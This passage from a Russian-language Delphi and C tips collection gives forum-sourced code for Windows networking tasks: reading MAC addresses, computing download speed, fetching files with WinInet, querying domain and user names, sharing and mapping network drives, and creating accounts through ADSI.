(int)Data.netnum[0],(int)Data.netnum[1],(int)Data.netnum[2],
(int)Data.netnum[3],(int)Data.netnum[4],(int)Data.netnum[5],
(int)Data.netnum[6],(int)Data.netnum[7],(int)Data.netnum[8],
(int)Data.netnum[9]);
}
iAdapters--;
}
}
}
closesocket(skNum);
}
WSACleanup();
}
Взято с Vingrad.ru http://forum.vingrad.ru

Вариант3:
From: MSDN

#include
#include
#include
#include
#include
typedef struct _ASTAT_
{
ADAPTER_STATUS adapt;
NAME_BUFFER NameBuff [30];
}ASTAT, * PASTAT;
ASTAT Adapter;
void main (void)
{
NCB Ncb;
UCHAR uRetCode;
char NetName[50];
memset( &Ncb, 0, sizeof(Ncb) );
Ncb.ncb_command = NCBRESET;
Ncb.ncb_lana_num = 0;
uRetCode = Netbios( &Ncb );
printf( "The NCBRESET return code is: 0x%x \n", uRetCode );
memset( &Ncb, 0, sizeof (Ncb) );
Ncb.ncb_command = NCBASTAT;
Ncb.ncb_lana_num = 0;
strcpy( Ncb.ncb_callname, "* " );
Ncb.ncb_buffer = (char *) &Adapter;
Ncb.ncb_length = sizeof(Adapter);
uRetCode = Netbios( &Ncb );
printf( "The NCBASTAT return code is: 0x%x \n", uRetCode );
if ( uRetCode == 0 )
{
printf( "The Ethernet Number is: %02x%02x%02x%02x%02x%02x\n",
Adapter.adapt.adapter_address[0],
Adapter.adapt.adapter_address[1],
Adapter.adapt.adapter_address[2],
Adapter.adapt.adapter_address[3],
Adapter.adapt.adapter_address[4],
Adapter.adapt.adapter_address[5] );
}
}

Автор ответа: Garik

Взято с Vingrad.ru http://forum.vingrad.ru

Автор: Daniel Wischnewski

Для того, чтобы этот код работал, необходимо включить в проект юнит NB30. Простой вызов функции GetMACAddress возвращает адрес первого установленного сетевого адаптера.

Совместимость: Delphi 3.x (или выше)

Данный пример был составлен на основе статьи на сайте Borland:
http://community.borland.com/article/0,1410,26040,00.html

uses
  NB30;

function GetAdapterInfo(Lana: Char): String;
var
  Adapter: TAdapterStatus;
  NCB: TNCB;
begin
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBRESET);
  NCB.ncb_lana_num := Lana;
  if Netbios(@NCB) <> Char(NRC_GOODRET) then
  begin
    Result := 'mac not found';
    Exit;
  end;

  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBASTAT);
  NCB.ncb_lana_num := Lana;
  NCB.ncb_callname := '*';

  FillChar(Adapter, SizeOf(Adapter), 0);
  NCB.ncb_buffer := @Adapter;
  NCB.ncb_length := SizeOf(Adapter);
  if Netbios(@NCB) <> Char(NRC_GOODRET) then
  begin
    Result := 'mac not found';
    Exit;
  end;
  Result :=
    IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[5]), 2);
end;

function GetMACAddress: string;
var
  AdapterList: TLanaEnum;
  NCB: TNCB;
begin
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBENUM);
  NCB.ncb_buffer := @AdapterList;
  NCB.ncb_length := SizeOf(AdapterList);
  Netbios(@NCB);
  if Byte(AdapterList.length) > 0 then
    Result := GetAdapterInfo(AdapterList.lana[0])
  else
    Result := 'mac not found';
end;
Взято из http://forum.sources.ru


Формулы передачи данных для начинающих

Автор: Jason Pierce

Данным примером я попытаюсь дать ответы на следующие вопросы:
Каково различие между KBps и Kbps? В чём заключается отличие битов, байтов и бодов? Как определить скорость передачи данных? Как выяснить, насколько долго будет загружаться файл с определённой скоростью? Как посчитать время, оставшее до окончания загрузки?

Для начала хотельсы навести порядок с некоторой неразберихой по поводу KBps и Kbps (буква b в нижнем регистре). KBps это обозначение для килобайт в секунду, в то время как Kbps обозначает килобиты в секунду. 1 килобайт (KB) = 8 килобитам (Kb).

Когда речь идёт о скорости передачи, то применяется Kbps. Таким образом модем со скорость передачи 33.6K (33600 bps) передаёт данные со скоростью 4.2 KBps (4.2 килобайта в секунду). Как мы видим, разница между KB и Kb довольно ощутима. В этом кроется причина того, что некоторые пользователи модемов по своему незнанию не могут понять, почему данные передаются так медленно. На самом деле данные объёмом 33.6K передаются не за 1 секунду, а за 8, соответственно за одну секунду будет передано 33.6 Kb / 8 = 4.2.

Так же хотелось бы дать некоторые разъяснения по поводу слова "бод" (baud). Обычно для модема "боды" расшифровываются как бит в секунду. На самом деле это не так. Бод (Baud) означает частоту звука в телефонной линии. Т. е. в зависимости от модема, который Вы используете, количество бит, которые могут быть переданы зависит от частоты звука, необходимой для обеспечения нужной скорости передачи.

Обратите внимание: Приведённый ниже пример, использует компонент NetMasters TNMHTTP. Однако, если Вы "прикипели" к какому-то другому компоненту TCP/IP, то переделать пример под этот компонент не составит большого труда.

Используемые обозначения:
bps = байт, переданных за 1 секунду
KBps (KB/Sec) = bps / 1024
Kbps (Kb/Sec) = KBps x 8

Краткий алгоритм приведённого ниже примера:
1. Сохраняем в переменной время начала загрузки: nStartTime := GetTickCount;
2. Сохраняем в переменной размер файла (KB): nFileSize := "File Size";
3. Начало передачи данных.
4. Обновляем количество переданных байт: Inc(nBytesTransferred, nNewBytes);
5. Получаем оставшееся время: nTimeElapsed := (GetTickCount - nStartTime) / 1000;
6. Вычисляем bps: nBps := BytesTransferred / nTimeElapsed;
7. Вычисляем KBps: nKBps := nBps / 1024;

Используемые данные:
Общее время скачивания (секунд) := nFileSize / nKBps;
bps := FloatToStr(nBps);
KB/Sec (KBps) := FloatToStr(nKBps);
Осталось секунд := FloatToStr(((nFileSize - BytesTransferred) / 1024) / KBps);

Рабочий пример:

unit Main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Gauges, Psock, NMHttp;

type
  TfMain = class(TForm)
    Label1: TLabel;
    eURL: TEdit;
    bGet: TButton;
    lbMessages: TListBox;
    gbDetails: TGroupBox;
    lEstimate: TLabel;
    lKBps: TLabel;
    lReceived: TLabel;
    lRemaining: TLabel;
    gProgress: TGauge;
    NMHTTP1: TNMHTTP;
    lbps: TLabel;
    bCancel: TButton;
    procedure NMHTTP1PacketRecvd(Sender: TObject);
    procedure bGetClick(Sender: TObject);
    procedure bCancelClick(Sender: TObject);
    procedure NMHTTP1Connect(Sender: TObject);
    procedure NMHTTP1ConnectionFailed(Sender: TObject);
    procedure NMHTTP1Disconnect(Sender: TObject);
    procedure NMHTTP1Failure(Cmd: CmdType);
    procedure NMHTTP1HostResolved(Sender: TComponent);
    procedure NMHTTP1InvalidHost(var Handled: Boolean);
    procedure NMHTTP1Status(Sender: TComponent; Status: String);
    procedure NMHTTP1Success(Cmd: CmdType);
  private
    { Private declarations }
    function ss2nn(Seconds: Integer): String;
  public
    { Public declarations }
  end;

var
  fMain: TfMain;
  nFileSize: Double;
  nStartTime: DWord;

implementation

{$R *.DFM}

{Цель этой функции состоит в том, чтобы определить, сколько минут и секунд там находятся в данном количестве секунд}
function TfMain.ss2nn(Seconds: Integer): String;
var
  nMin, nSec: Integer;
begin
  {Проверяем, меньше чем 1/Min}
  if Seconds < 60 then Result := '0 minutes ' + IntToStr(Seconds) + ' seconds'
  else begin
    {Определяем минуты}
    nMin := Seconds div 60;
    {Определяем секунды}
    nSec := Seconds - (nMin * 60);
    {Возвращаем результат}
    Result := IntToStr(nMin) + ' minutes ' + IntToStr(nSec) + ' seconds';
  end;
end;

procedure TfMain.NMHTTP1PacketRecvd(Sender: TObject);
var
  nBytesReceived, nTimeElapsed, nBps, nKBps: Double;
begin
  {Следующий код выполняется только однажды, при приёме первого пакета}
  if nFileSize <> NMHTTP1.BytesTotal then
  begin
    {Получаем размер файла}
    nFileSize := NMHTTP1.BytesTotal;
    {Вычисляем время передачи, исходя из скорости соединения 33.6 Kbps}
    lEstimate.Caption := 'Estimated download time at 33.6 Kbps: ' + ss2nn(Round(
      (nFileSize / 1024) / 4.2));
    {Получаем время начала}
    nStartTime := GetTickCount;
  end;

  {Обновляем nBytesReceived}
  nBytesReceived := NMHTTP1.BytesRecvd;

  {Вычисляем количество секунд прошедших с момента начала передачи}
  nTimeElapsed := (GetTickCount - nStartTime) / 1000;
  {Проверяем на 0/Sec, если так, то устанавливаем 1, чтобы предотвратить деления на ноль}
  if nTimeElapsed = 0 then nTimeElapsed := 1;

  {Вычисляем байт в секунду}
  nBps := nBytesReceived / nTimeElapsed;
  {Вычисляем килобайт в секунду}
  nKBps := nBps / 1024;

  {Обновляем контролы}
  gProgress.Progress := Round((nBytesReceived * 100) / nFileSize);
  lbps.Caption := IntToStr(Round(nBps * 8)) + ' bits per second';
  lKBps.Caption := IntToStr(Round(nKBps)) + ' KB/Sec (KBps)';
  lReceived.Caption := FloatToStr(nBytesReceived) + ' of ' + FloatToStr(
    nFileSize) + ' bytes received';
  lRemaining.Caption := ss2nn(Round(((nFileSize - nBytesReceived) / 1024) /
    nKBps)) + ' remaining';
end;

procedure TfMain.bGetClick(Sender: TObject);
begin
  {Сбрасываем переменные}
  nFileSize := 0;

  {Обнуляем контролы}
  lbMessages.Clear;
  gProgress.Progress := 0;
  lEstimate.Caption := 'Estimated download time at 33.6 Kbps: 0 minutes 0 ' +
    'seconds';
  lbps.Caption := '0 bits per second';
  lKBps.Caption := '0 KB/Sec (KBps)';
  lReceived.Caption := '0 of 0 bytes received';
  lRemaining.Caption := '0 minutes 0 seconds remaining';

  {Получаем файл}
  NMHTTP1.Get(eURL.Text);
end;

procedure TfMain.bCancelClick(Sender: TObject);
begin
  {Разрываем соединение с сервером}
  NMHTTP1.Disconnect;

  {Обновляем lbMessages}
  lbMessages.Items.Append('Get Canceled');
  lbMessages.Items.Append('Disconnected');
end;

procedure TfMain.NMHTTP1Connect(Sender: TObject);
begin
  {Запрещаем/Разрешаем контролы}
  bGet.Enabled := False;
  bCancel.Enabled := True;

  {Работаем с lbMessages}
  with lbMessages.Items do
  begin
    Append('Connected');
    Append('Local Address: ' + NMHTTP1.LocalIP);
    Append('Remote Address: ' + NMHTTP1.RemoteIP);
  end;
end;

procedure TfMain.NMHTTP1ConnectionFailed(Sender: TObject);
begin
  ShowMessage('Connection Failed.');
end;

procedure TfMain.NMHTTP1Disconnect(Sender: TObject);
begin
  {Запрещаем/Разрешаем контролы}
  bCancel.Enabled := False;
  bGet.Enabled := True;

  {Обновляем lbMessages}
  if NMHTTP1.Connected then lbMessages.Items.Append('Disconnected');
end;

procedure TfMain.NMHTTP1Failure(Cmd: CmdType);
begin
  case Cmd of
    CmdGET    : lbMessages.Items.Append('Get Failed');
    CmdOPTIONS: lbMessages.Items.Append('Options Failed');
    CmdHEAD   : lbMessages.Items.Append('Head Failed');
    CmdPOST   : lbMessages.Items.Append('Post Failed');
    CmdPUT    : lbMessages.Items.Append('Put Failed');
    CmdPATCH  : lbMessages.Items.Append('Patch Failed');
    CmdCOPY   : lbMessages.Items.Append('Copy Failed');
    CmdMOVE   : lbMessages.Items.Append('Move Failed');
    CmdDELETE : lbMessages.Items.Append('Delete Failed');
    CmdLINK   : lbMessages.Items.Append('Link Failed');
    CmdUNLINK : lbMessages.Items.Append('UnLink Failed');
    CmdTRACE  : lbMessages.Items.Append('Trace Failed');
    CmdWRAPPED: lbMessages.Items.Append('Wrapped Failed');
  end;
end;

procedure TfMain.NMHTTP1HostResolved(Sender: TComponent);
begin
  lbMessages.Items.Append('Host Resolved');
end;

procedure TfMain.NMHTTP1InvalidHost(var Handled: Boolean);
begin
  ShowMessage('Invalid Host. Please specify a new URL.');
end;

procedure TfMain.NMHTTP1Status(Sender: TComponent; Status: String);
begin
  if NMHTTP1.ReplyNumber = 404 then ShowMessage('Object Not Found.');
end;

procedure TfMain.NMHTTP1Success(Cmd: CmdType);
begin
  case Cmd of
    {Удостоверяемся, что процедура получения не была прервана}
    CmdGET: if NMHTTP1.Connected then lbMessages.Items.Append('Get Succeeded');

    CmdOPTIONS: lbMessages.Items.Append('Options Succeeded');
    CmdHEAD   : lbMessages.Items.Append('Head Succeeded');
    CmdPOST   : lbMessages.Items.Append('Post Succeeded');
    CmdPUT    : lbMessages.Items.Append('Put Succeeded');
    CmdPATCH  : lbMessages.Items.Append('Patch Succeeded');
    CmdCOPY   : lbMessages.Items.Append('Copy Succeeded');
    CmdMOVE   : lbMessages.Items.Append('Move Succeeded');
    CmdDELETE : lbMessages.Items.Append('Delete Succeeded');
    CmdLINK   : lbMessages.Items.Append('Link Succeeded');
    CmdUNLINK : lbMessages.Items.Append('UnLink Succeeded');
    CmdTRACE  : lbMessages.Items.Append('Trace Succeeded');
    CmdWRAPPED: lbMessages.Items.Append('Wrapped Succeeded');
  end;
end;

end.
Взято из http://forum.sources.ru


Получение файла из сети

Перевод одноимённой статьи с сайта delphi.about.com )

Обычно при разработке приложений, которые планируется в дальнейшем обновлять и усовершенствовать, основные модули хранятся в виде пакетов (Package) или библиотек DLL. В настоящее время Internet предоставляет возможность без особых усилий осуществлять обновление этих модулей. Поэтому добавление к Вашему приложению функции авто-обновления, является наилучшим способом для обновления приложения.

Давайте посмотрим, как реализовывается данный механизм в любом FTP приложении.

Delphi предоставляет нам полный доступ к WinInet API (wininet.pas), который можно использовать для соединения и получения файлов с веб-сайта, который использует либо Hypertext Transfer Protocol (HTTP) либо File Transfer Protocol (FTP). Например, мы можем использовать функции из WinInet API для: добавления FTP браузера в любое приложение, создания приложения, которое автоматически скачивает файлы с общедоступных FTP серверов или поиска Internet сайтов, ссылающихся на графику и скачивать только графику.

Функция GetInetFile

uses Wininet;

function GetInetFile
(const fileURL, FileName: String): boolean;
const BufferSize = 1024;
var
  hSession, hURL: HInternet;
  Buffer: array[1..BufferSize] of Byte;
  BufferLen: DWORD;
  f: File;
  sAppName: string;
begin
 Result:=False;
 sAppName := ExtractFileName(Application.ExeName);
 hSession := InternetOpen(PChar(sAppName),
                INTERNET_OPEN_TYPE_PRECONFIG,
               nil, nil, 0);
 try
  hURL := InternetOpenURL(hSession,
            PChar(fileURL),
            nil,0,0,0);
  try
   AssignFile(f, FileName);
   Rewrite(f,1);
   repeat
    InternetReadFile(hURL, @Buffer,
                     SizeOf(Buffer), BufferLen);
    BlockWrite(f, Buffer, BufferLen)
   until BufferLen = 0;
   CloseFile(f);
   Result:=True;
  finally
   InternetCloseHandle(hURL)
  end
 finally
  InternetCloseHandle(hSession)
 end
end;

Обратите внимание: Чтобы обеспечить некоторую визуальную обратную связь для пользователя, Вы можете добавить строчку наподобие FlashWindow(Application.Handle,True) в тело блока "повторить/до тех пор" (repeat/until). Вызов FlashWindow API высвечивает заголовок Вашего имени приложений в панели задач.

Использование
Для вызова функции GetInetFile можно использовать следующий код:

var FileOnNet, LocalFileName: string
begin
 FileOnNet:=
  'http://delphi.about.com/library/forminbpl.zip';
 LocalFileName:='File Downloaded From the Net.zip'

 if GetInetFile(FileOnNet,LocalFileName)=True then
  ShowMessage('Download successful')
 else
  ShowMessage('Error in file download')
end;

Данный код запрашивает файл 'forminbpl.zip' с сайта, скачивает его, и сохраняет его как 'File Downloaded From the Net.zip'.

Обратите внимание: В зависимости от версии Delphi, Вы можете использовать различные компоненты, которые можно найти на Интернет страницах, посвещённых VCL и, которые можно использовать для упрощения создания приложений (например FTP компонент, необходимый для TNMFTP, находящийся на странице FastNet VCL).
Взято из http://forum.sources.ru


Как узнать имя домена Windows NT/2000?

function GetNTDomainName: string;
var hReg: TRegistry;
begin
hReg := TRegistry.Create;
hReg.RootKey := HKEY_LOCAL_MACHINE;
hReg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Winlogon', false );
Result := hReg.ReadString( 'DefaultDomainName' );
hReg.CloseKey;
hReg.Destroy;
end;
Взято из http://forum.sources.ru

function NetServerGetInfo (serverName : PWideChar; level : Integer;
        var bufptr : Pointer) : Cardinal; stdcall; external 'NETAPI32.DLL';
function NetApiBufferFree (buffer : Pointer) : Cardinal; stdcall; external 'NETAPI32.DLL';

type
  SERVER_INFO_503 = record
    sv503_sessopens : Integer;
    sv503_sessvcs : Integer;
    sv503_opensearch : Integer;
    sv503_sizreqbuf : Integer;
    sv503_initworkitems : Integer;
    sv503_maxworkitems : Integer;
    sv503_rawworkitems : Integer;
    sv503_irpstacksize : Integer;
    sv503_maxrawbuflen : Integer;
    sv503_sessusers : Integer;
    sv503_sessconns : Integer;
    sv503_maxpagedmemoryusage : Integer;
    sv503_maxnonpagedmemoryusage : Integer;
    sv503_enablesoftcompat :BOOL;
    sv503_enableforcedlogoff :BOOL;
    sv503_timesource :BOOL;
    sv503_acceptdownlevelapis :BOOL;
    sv503_lmannounce :BOOL;
    sv503_domain : PWideChar;
    sv503_maxcopyreadlen : Integer;
    sv503_maxcopywritelen : Integer;
    sv503_minkeepsearch : Integer;
    sv503_maxkeepsearch : Integer;
    sv503_minkeepcomplsearch : Integer;
    sv503_maxkeepcomplsearch : Integer;
    sv503_threadcountadd : Integer;
    sv503_numblockthreads : Integer;
    sv503_scavtimeout : Integer;
    sv503_minrcvqueue : Integer;
    sv503_minfreeworkitems : Integer;
    sv503_xactmemsize : Integer;
    sv503_threadpriority : Integer;
    sv503_maxmpxct : Integer;
    sv503_oplockbreakwait : Integer;
    sv503_oplockbreakresponsewait : Integer;
    sv503_enableoplocks : BOOL;
    sv503_enableoplockforceclose : BOOL;
    sv503_enablefcbopens : BOOL;
    sv503_enableraw : BOOL;
    sv503_enablesharednetdrives : BOOL;
    sv503_minfreeconnections : Integer;
    sv503_maxfreeconnections : Integer;
  end;
  PSERVER_INFO_503 = ^SERVER_INFO_503;

function Get_Computer_Name: string;
var
  dwlen: DWORD;
begin
  dwlen := MAX_COMPUTERNAME_LENGTH + 1;
  Setlength(Result, dwlen);
  GetComputerName(pchar(Result), dwlen);
  Result := StrPas(pchar(Result));
end;

function GetDomainName : string;
var
  err : Integer;
  buf : pointer;
  fDomainName: string;
  wServerName : WideString;
begin
  wServerName := Get_Computer_Name;
  err := NetServerGetInfo (PWideChar (wServerName), 503, buf);
  if err = 0 then
  try
    fDomainName := PSERVER_INFO_503 (buf)^.sv503_domain;
  finally
    NetAPIBufferFree (buf)
  end;
  result := fDomainName;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Label1.Caption := GetDomainName;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать имя компьютера?

Чтобы узнать имя, идентифицирующее компьютер в сети, на котором запущена Ваша программа, можно воспользоваться следующей функцией:

uses Windows;

function GetComputerNetName: string;
var
 buffer: array[0..255] of char;
 size: dword;
begin
 size := 256;
 if GetComputerName(buffer, size) then
   Result := buffer
 else
   Result := ''
end;
Взято из http://forum.sources.ru


Как узнать имя пользователя?

Function GetUserFromWindows: string;
Var
  UserName    : string;
  UserNameLen : Dword;
Begin
  UserNameLen := 255;
  SetLength(userName, UserNameLen);
  If GetUserName(PChar(UserName), UserNameLen) Then
    Result := Copy(UserName,1,UserNameLen - 1)
  Else
    Result := 'Unknown';
End;
Взято из http://forum.sources.ru


Как расшарить диск?

Автор: Repairman

Это модуль для Share любого диска или папки как на локальном, так и на удаленном компьютере (если, конечно у Вас права администратора и на компе разрешено удаленное администрирование, для локальной машины это не обязательно... ;-))

Следует отметить, что под NT некоторые процедуры находятся в других DLL...
Функция SetShareOnDisk - ставит шару, RemoveShareFromDisk - снимает ее.

unit Share;
//(c)2002 <Repairman> repairman@uzel.ru
interface
type
  TPassw = string[8];
  TNetName = string[12];

function SetShareOnDisk(HostName: string; //имя компьютера
  LocalPath: string; //папка которую надо открыть для доступа
  NetName: TNetName; //имя расшаренной папки в сети
  Remark: string; //комментарий, видимый в сети
  Access: word; //доступ
  RO_Passw: TPassw; //пароль на чтение
  RW_Passw: TPassw //пароль на полный доступ
  ): boolean;

function RemoveShareFromDisk(HostName: string; //имя компьютера
  NetName: string; //сетевое имя папки которую надо закрыть
  LocalPath: string //локальный путь папки
  ): boolean;
var
  ShareResult: word;
//-------------------------------------------------------------------------------------------
implementation
uses SysUtils, Windows, ShlObj;

function NetShareAdd(ServerName: PChar; //указатель на имя компьютера, например '\\Server'#0, если свой, то можно nil
  Level: Word; //уровень структуры Share_info, здесь 50
  PShareInfo: PChar; //указатель на структуру Share_Info
  ParmErr: DWord) //указатель на ???
  : dword; stdcall; external 'svrapi.dll'; //svrapi для Win9X, NetApi32 для NT

function NetShareDel(ServerName: PChar;
  NetName: PChar;
  Reserved: DWord): dword; stdcall; external 'svrapi.dll';

type
  _share_info_50 = record //структура Share уровня 50
    NetName: array[1..13] of char; //Как будет называться диск в сети
    SType: byte; //тип =0 (STYPE_DISKTREE) - шарить диски
    Flags: word; //флаги $0191,$0192,$0193....(доступ из сети)
    Remark: PChar; //указатель на комментарий, видимый из сети
    Path: PChar; //указатель на имя ресурса, например 'c:\'#0
    RW_Password: array[1..9] of char; //пароль для полного доступа, если не нужен =#0
    RO_Password: array[1..9] of char; //пароль для доступа на чтение, если не нужен =#0
  end;
//----------------------------

function SetShareOnDisk(HostName, LocalPath: string; NetName: TNetName; Remark: string;
  Access: word; RO_Passw, RW_Passw: TPassw): boolean;
var ShareInfo: _Share_Info_50;
begin
  Result := false;
  StrPCopy(@ShareInfo.NetName, NetName);
  ShareInfo.SType := 0;
  ShareInfo.Flags := Access;
  ShareInfo.Remark := PChar(Remark);
  ShareInfo.Path := PChar(LocalPath);
  StrPCopy(@ShareInfo.RO_Password, RO_Passw);
  StrPCopy(@ShareInfo.RW_Password, RW_Passw);
  ShareResult := NetShareAdd(PChar(HostName), 50, @ShareInfo, $0000002A); //вызываем Share
  if ShareResult <> 0 then Exit; //расшарить неудалось
  SHChangeNotify(SHCNE_NETSHARE, SHCNF_PATH, PChar(LocalPath), nil); //сказать шеллу об изменениях
  Result := true;
end;
//----------------------------

function RemoveShareFromDisk(HostName, NetName, LocalPath: string): boolean;
begin
  Result := false;
  ShareResult := NetShareDel(PChar(HostName), PChar(NetName), 0); //удалить шару
  if ShareResult <> 0 then Exit;
  SHChangeNotify(SHCNE_NETUNSHARE, SHCNF_PATH, PChar(LocalPath), nil); //сказать шеллу об изменениях
  Result := true;
end;
//----------------------------
end.
Взято из http://forum.sources.ru


Подключение сетевого диска

Автор: Eber Irigoyen

Если возникла необходимость, чтобы Ваше приложение самостоятельно подключало сетевой ресурс, то это можно сделать двумя способами: вызвать стандартный диалог подключения ресурса либо использоваться следующий код.

//Пример открытия стандартного диалога

procedure TForm1.Button1Click(Sender: TObject);
begin
  WNetConnectionDialog(Handle,RESOURCETYPE_DISK)
end;

//Так же можно подключить и принтер
procedure TForm1.Button1Click(Sender: TObject);
begin
  WNetConnectionDialog(Handle,RESOURCETYPE_PRINT)
end;

//либо можно использовать следующий код
procedure TForm1.Button2Click(Sender: TObject);
var
NetResource: TNetResource;
begin
  { заполняем структуру TNetResource }
  NetResource.dwType       := RESOURCETYPE_DISK;
  NetResource.lpLocalName  := 'S:';
  NetResource.lpRemoteName := '\\myserver\public';
  NetResource.lpProvider   := '';

  { подключаем сетевой ресурс, используя структуру TNetResource }
  If ( WNetAddConnection2(NetResource,
                         '', {Password (if needed) or empty}
                         '', {User name (if needed) or empty}
                         CONNECT_UPDATE_PROFILE)<>NO_ERROR) Then
     Raise Excepcion.Create('unable to map drive')
  //так же существуют другие константы для определения возникшей ошибки
  //ERROR_ACCESS_DENIED, ERROR_ALREADY_ASSIGNED, и т.д.
end;

//так же можно и отключить сетевой ресурс...
procedure TForm1.Button2Click(Sender: TObject);
begin
  if WNetCancelConnection2( 'S:',0,TRUE) <> NO_ERROR then
    Raise Exception.create('Error disconnecting map drive');
  //соответственно можно использовать другие константы для определения ошибки
  //ERROR_DEVICE_IN_USE, ERROR_NOT_CONNECTED, и т.д.
end;
Взято из http://forum.sources.ru

Подключение и отключение сетевых дисководов

Для работы с сетевыми дисководами (и ресурсами типа LPT порта) в WIN API 16 и WIN API 32 следующие функции:

1.Подключить сетевой ресурс
WNetAddConnection(NetResourse,Password,LocalName:PChar):longint;
где NetResourse - имя сетевого ресурса (например '\\P166\c')
Password - пароль на доступ к ресурсу (если нет пароля, то пустая строка)
LocalName - имя, под которым сетевой ресурс будет отображен на данном компьютере (например 'F:')

Пример подключения сетевого диска WNetAddConnection('\\P166\C','','F:');
Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR - Нет ошибок - успешное завершение
ERROR_ACCESS_DENIED - Ошибка доступа
ERROR_ALREADY_ASSIGNED - Уже подключен. Наиболее часто возникает при повторном вызове данной функции с теми-же параметрами.
ERROR_BAD_DEV_TYPE - Неверный тип устройства.
ERROR_BAD_DEVICE - Неверное устройство указано в LocalName
ERROR_BAD_NET_NAME - Неверный сетевой путь или сетевое имя
ERROR_EXTENDED_ERROR - Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_INVALID_PASSWORD - Неверный пароль
ERROR_NO_NETWORK - Нет сети

2.Отключить сетевой ресурс
WNetCancelConnection(LocalName:PChar;ForseMode:Boolean):Longint;
где
LocalName - имя, под которым сетевой ресурс был подключен к данному компьютеру (например 'F:')
ForseMode - режим отключения :
False - корректное отключение. Если отключаемый ресурс еще используется, то отключения не произойдет (например, на сетевом диске открыт файл)
True - скоростное некорректное отключение. Если ресурс используется, отключение все равно произойдет и межет привести к любым последствиям (от отсутствия ошибок до глухого повисания)

Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR - Нет ошибок - успешное завершение
ERROR_DEVICE_IN_USE - Ресурс используется
ERROR_EXTENDED_ERROR - Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_NOT_CONNECTED - Указанное ус-во не является сетевым
ERROR_OPEN_FILES - На отключаемом сетевом диске имеются открытые файлы и параметр ForseMode=false

Рекомендация: при отключении следует сначала попробовать отключить устройство с параметром ForseMode=false и при ошибке типа ERROR_OPEN_FILES выдать запрос с сообщением о том, что ус-во еще используется и предложением отключить принудительно, и при согласии пользователя повторить вызов с ForseMode=true

Источник: http://dmitry9.nm.ru/info/


Создание Аккаунта в Windows, используя ADSI (Активные директории)

Автор: Philip Jespersen

Чтобы создавать пользовательские аккаунты в Windows на Delphi можно использовать ADSI (Active Directory Services Interface) от Microsoft. Вы думаете, что ADSI это новая примочка для Windows 2000 (судя по названию) , но оказывается ADSI доступна для всех платформ Win32. Для этого Вам потребуется всего навсего скачать ADSI для Windows (более полная информация на http://www.microsoft.com/adsi ). Ну и конечно же ADSI входит в поставку Windows 2000.

ADSI довольно большой предмет для изучения. В данном примере я затрону этот предмет поверхностно. ADSI - это своего рода основа для различных сервисов (обычно основанных на директориях) оперционной системы. Например, стандартными ADSI сервисами можно назвать (COM интерфейсы, которые можно использовать в программах) WinNT, IIS, LDAP и NDS. WinNT сервис может тем самым использоваться для создания пользовательских аккаунтов, модификации их или модификации групп.

Следующий небольшой пример показывает необходимые шаги для создания пользовательского аккаунта в NT/2000, используя ADSI:

Во первых Вам прийдётся импортировать Библиотеку Типов ADSI (Menu Project/Import Type Library). Библиотеку Типов можно найти в поддирректории system32 (Например C:\WINNT\system32\activeds.tlb). Требуемый файл называется 'activeds.tlb'. Если такого файла нет, то проверьте, правильно ли вы установили ADSI. После успешного импортирования Библиотеки Типов Вы найдёте новый файл в дирректории ипортов Delphi, файл будет называться "activeds_tlb.pas" (..\Delphi5\Imports\activeds_tlb.pas). Чтобы приступить к программированию ADSI в Delphi, необходимо включить этот файл в Ваш проект.

Далее в примере, необходимо заменить [computername] на фактическое имя компьютера, с которым Вы работаете. То же надо проделать с [accountname]. Пример тестировался на WindowsNT 4.0 и Windows 2000.

...

uses ActiveX,        // используется для COM Moniker stuff...
     ActiveDs_TLB,   // созданная библиотека типов
     ComObj;         // используется для OleCheck и других функций COM

implementation

procedure TForm1.BtnCreateUserClick(Sender: TObject);
var
  Usr:  IADsUser;
  Comp: IADsContainer;
begin
  try
    Comp := GetObject('WinNT://[computername],computer') as
      IADsContainer;
    Usr := Comp.Create('user', '[accountname]') as IADsUser;
    Usr.SetInfo;
  except
    on E: EOleException do begin
      ShowMessage(E.Message);
    end;
  end;
end;

procedure TForm1.BtnSetPasswordClick(Sender: TObject);
var
  Usr: IADsUser;
begin
  try
    Usr := GetObject('WinNT://[computername]/[accountname],user')
      as IADsUser;
    Usr.SetPassword('thenewpassword');
  except
    on E: EOleException do begin
      ShowMessage(E.Message);
    end;
  end;
end;

// GetObject использует вызов VB GetObject
// Данный код (GetObject) был найден в Usenet.
//
// GetObject позволяет связаться с существующим ADSI сервисом
// используя 'ADSIPath' (например WinNT://.... или
// IIS://localhost).

function TForm1.GetObject(const Name: string): IDispatch;
var
  Moniker: IMoniker;
  Eaten: integer;
  BindContext: IBindCtx;
  Dispatch: IDispatch;
begin
  OleCheck(CreateBindCtx(0, BindContext));
  OleCheck(MkParseDisplayName(BindContext,
                              PWideChar(WideString(Name)),
                              Eaten,
                              Moniker));
  OleCheck(Moniker.BindToObject(BindContext, NIL, IDispatch,
            Dispatch));

  Result := Dispatch;
end;

end.

Через ADSI Вы так же можете изменять параметры пользовательских аккаунтов. Следующий код изменяет флаг 'Password never expires' нужного аккаунта:

procedure TFormMain.ButtonNeverExpiresClick(Sender: TObject);
var
  Usr: IADsUser;
begin
  try
    Usr := GetObject('WinNT://[computername]/[acccoutname],user') as
      IADsUser;

  // Проверяем состояние чекбоксов...
  if CheckBoxPasswordNeverExpires.Checked then
    Usr.Put('UserFlags', Usr.Get('UserFlags') OR 65536)
